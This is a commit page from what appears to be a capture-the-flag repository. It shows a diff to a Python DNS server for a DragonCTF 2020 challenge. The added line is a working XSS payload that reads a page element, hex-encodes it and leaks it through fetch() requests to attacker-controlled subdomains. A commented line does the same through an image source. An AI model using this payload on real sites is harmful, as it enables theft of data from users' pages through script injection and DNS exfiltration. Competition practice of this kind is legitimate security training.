Skip to content

Commit d5a079c

Browse files
committed
add the right payload lol
1 parent c614253 commit d5a079c

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

2020/dragonctf/coolname/server.py

+1-2
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,7 @@
22
from scapy.all import DNS, DNSQR, DNSRR, raw
33

44

5-
xss = 'a="";document.getElementById("flag").innerText.split("").forEach((r)=>{a+=r.charCodeAt(0).toString(16)});a=a.substring(0,40);'
6-
payload = '<img/src="http://ffffffuck.6d5c01f74b3f86e79153.d.zhack.ca"/>'
5+
payload = '<script>a=``;document.getElementById(`flag`).innerText.split(``).forEach((r)=>{a+=r.charCodeAt(0).toString(16)});fetch(`http://`+a.length+`.026d0fea5c4ad465e920.d.zhack.ca`);a.match(/.{1,55}/g).forEach((r,a)=>{fetch(`http://`+String(a)+`_`+r+`.62bf1cf869b968a6f40d.d.zhack.ca`)});</script>'
76
# payload = '</pre><script>a="";document.getElementById("flag").innerText.split("").forEach((r)=>{a+=r.charCodeAt(0).toString(16)});a=a.substring(0,40);document.createElement("img").src="http://"+a+".dns.exfil.com/x.png";</script>'
87

98
log = open('log.txt', 'w+b')

0 commit comments

Comments
 (0)